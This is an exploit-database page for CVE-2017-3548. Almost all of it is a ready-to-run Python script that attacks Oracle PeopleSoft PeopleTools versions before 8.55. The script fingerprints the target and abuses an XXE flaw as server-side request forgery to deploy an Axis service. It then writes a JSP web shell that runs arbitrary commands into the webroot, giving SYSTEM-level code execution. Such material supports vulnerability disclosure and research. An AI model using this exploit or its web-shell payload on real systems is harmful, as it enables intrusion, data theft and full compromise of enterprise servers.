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Oracle PeopleSoft Enterprise PeopleTools Remote Code Execution

Oracle PeopleSoft Enterprise PeopleTools Remote Code Execution
Posted Nov 3, 2017
Authored by Charles FOL

Oracle PeopleSoft Enterprise PeopleTools versions prior to 8.55 suffer from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2017-3548
SHA-256 | e7ca7f1dfaf0427d15e6728d2323dfd98cf6d0d01d7466ab23ceea3a1e534852

Oracle PeopleSoft Enterprise PeopleTools Remote Code Execution

Change Mirror Download
#!/usr/bin/python3
# Oracle PeopleSoft SYSTEM RCE
# https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
# cf
# 2017-05-17

import requests
import urllib.parse
import re
import string
import random
import sys


from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


try:
import colorama
except ImportError:
colorama = None
else:
colorama.init()

COLORS = {
'+': colorama.Fore.GREEN,
'-': colorama.Fore.RED,
':': colorama.Fore.BLUE,
'!': colorama.Fore.YELLOW
}


URL = sys.argv[1].rstrip('/')
CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy'
PROXY = 'localhost:8080'

# shell.jsp?c=whoami
PAYLOAD = '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis
= new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>'


class Browser:
"""Wrapper around requests.
"""

def __init__(self, url):
self.url = url
self.init()

def init(self):
self.session = requests.Session()
self.session.proxies = {
'http': PROXY,
'https': PROXY
}
self.session.verify = False

def get(self, url ,*args, **kwargs):
return self.session.get(url=self.url + url, *args, **kwargs)

def post(self, url, *args, **kwargs):
return self.session.post(url=self.url + url, *args, **kwargs)

def matches(self, r, regex):
return re.findall(regex, r.text)


class Recon(Browser):
"""Grabs different informations about the target.
"""

def check_all(self):
self.site_id = None
self.local_port = None
self.check_version()
self.check_site_id()
self.check_local_infos()

def check_version(self):
"""Grabs PeopleTools' version.
"""
self.version = None
r = self.get('/PSEMHUB/hub')
m = self.matches(r, 'Registered Hosts Summary - ([0-9\.]+).</b>')

if m:
self.version = m[0]
o(':', 'PTools version: %s' % self.version)
else:
o('-', 'Unable to find version')

def check_site_id(self):
"""Grabs the site ID and the local port.
"""
if self.site_id:
return

r = self.get('/')
m = self.matches(r, '/([^/]+)/signon.html')

if not m:
raise RuntimeError('Unable to find site ID')

self.site_id = m[0]
o('+', 'Site ID: ' + self.site_id)

def check_local_infos(self):
"""Uses cookies to leak hostname and local port.
"""
if self.local_port:
return

r = self.get('/psp/%s/signon.html' % self.site_id)

for c, v in self.session.cookies.items():
if c.endswith('-PORTAL-PSJSESSIONID'):
self.local_host, self.local_port, *_ = c.split('-')
o('+', 'Target: %s:%s' % (self.local_host, self.local_port))
return

raise RuntimeError('Unable to get local hostname / port')


class AxisDeploy(Recon):
"""Uses the XXE to install Deploy, and uses its two useful methods to get
a shell.
"""

def init(self):
super().init()
self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10)

def random_string(self, size):
return ''.join(random.choice(string.ascii_letters) for _ in range(size))

def url_service(self, payload):
return 'http://localhost:%s/pspc/services/AdminService?method=%s' % (
self.local_port,
urllib.parse.quote_plus(self.psoap(payload))
)

def war_path(self, name):
# This is just a guess from the few PeopleSoft instances we audited.
# It might be wrong.
suffix = '.war' if self.version and self.version >= '8.50' else ''
return './applications/peoplesoft/%s%s' % (name, suffix)

def pxml(self, payload):
"""Converts an XML payload into a one-liner.
"""
payload = payload.strip().replace('\n', ' ')
payload = re.sub('\s+<', '<', payload, flags=re.S)
payload = re.sub('\s+', ' ', payload, flags=re.S)
return payload

def psoap(self, payload):
"""Converts a SOAP payload into a one-liner, including the comment trick
to allow attributes.
"""
payload = self.pxml(payload)
payload = '!-->%s' % payload[:-1]
return payload

def soap_service_deploy(self):
"""SOAP payload to deploy the service.
"""
return """
<ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="%s" provider="java:RPC">
<ns1:parameter name="className" value="%s"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
</ns1:deployment>
""" % (self.service_name, CLASS_NAME)

def soap_service_undeploy(self):
"""SOAP payload to undeploy the service.
"""
return """
<ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="%s"/>
</ns1:undeployment>
""" % (self.service_name, )

def xxe_ssrf(self, payload):
"""Runs the given AXIS deploy/undeploy payload through the XXE.
"""
data = """
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "%s">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
""" % self.url_service(payload)
r = self.post(
'/PSIGW/HttpListeningConnector',
data=self.pxml(data),
headers={
'Content-Type': 'application/xml'
}
)

def service_check(self):
"""Verifies that the service is correctly installed.
"""
r = self.get('/pspc/services')
return self.service_name in r.text

def service_deploy(self):
self.xxe_ssrf(self.soap_service_deploy())

if not self.service_check():
raise RuntimeError('Unable to deploy service')

o('+', 'Service deployed')

def service_undeploy(self):
if not self.local_port:
return

self.xxe_ssrf(self.soap_service_undeploy())

if self.service_check():
o('-', 'Unable to undeploy service')
return

o('+', 'Service undeployed')

def service_send(self, data):
"""Send data to the Axis endpoint.
"""
return self.post(
'/pspc/services/%s' % self.service_name,
data=data,
headers={
'SOAPAction': 'useless',
'Content-Type': 'application/xml'
}
)

def service_copy(self, path0, path1):
"""Copies one file to another.
"""
data = """
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:copy
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<in0 xsi:type="xsd:string">%s</in0>
<in1 xsi:type="xsd:string">%s</in1>
</api:copy>
</soapenv:Body>
</soapenv:Envelope>
""".strip() % (path0, path1)
response = self.service_send(data)
return '<ns1:copyResponse' in response.text

def service_main(self, tmp_path, tmp_dir):
"""Writes the payload at the end of the .xml file.
"""
data = """
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<api:main
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<api:in0>
<item xsi:type="xsd:string">%s</item>
<item xsi:type="xsd:string">%s</item>
<item xsi:type="xsd:string">%s.war</item>
<item xsi:type="xsd:string">something</item>
<item xsi:type="xsd:string">-addToEntityReg</item>
<item xsi:type="xsd:string"><![CDATA[%s]]></item>
</api:in0>
</api:main>
</soapenv:Body>
</soapenv:Envelope>
""".strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD)
response = self.service_send(data)

def build_shell(self):
"""Builds a SYSTEM shell.
"""
# On versions >= 8.50, using another extension than JSP got 70 bytes
# in return every time, for some reason.
# Using .jsp seems to trigger caching, thus the same pivot cannot be
# used to extract several files.
# Again, this is just from experience, nothing confirmed
pivot = '/%s.jsp' % self.random_string(20)
pivot_path = self.war_path('PSOL') + pivot
pivot_url = '/PSOL' + pivot

# 1: Copy portletentityregistry.xml to TMP

per = '/WEB-INF/data/portletentityregistry.xml'
per_path = self.war_path('pspc')
tmp_path = '../' * 20 + 'TEMP'
tmp_dir = self.random_string(20)
tmp_per = tmp_path + '/' + tmp_dir + per

if not self.service_copy(per_path + per, tmp_per):
raise RuntimeError('Unable to copy original XML file')

# 2: Add JSP payload
self.service_main(tmp_path, tmp_dir)

# 3: Copy XML to JSP in webroot
if not self.service_copy(tmp_per, pivot_path):
raise RuntimeError('Unable to copy modified XML file')

response = self.get(pivot_url)

if response.status_code != 200:
raise RuntimeError('Unable to access JSP shell')

o('+', 'Shell URL: ' + self.url + pivot_url)


class PeopleSoftRCE(AxisDeploy):
def __init__(self, url):
super().__init__(url)


def o(s, message):
if colorama:
c = COLORS[s]
s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL
print('%s %s' % (s, message))


x = PeopleSoftRCE(URL)

try:
x.check_all()
x.service_deploy()
x.build_shell()
except RuntimeError as e:
o('-', e)
finally:
x.service_undeploy()


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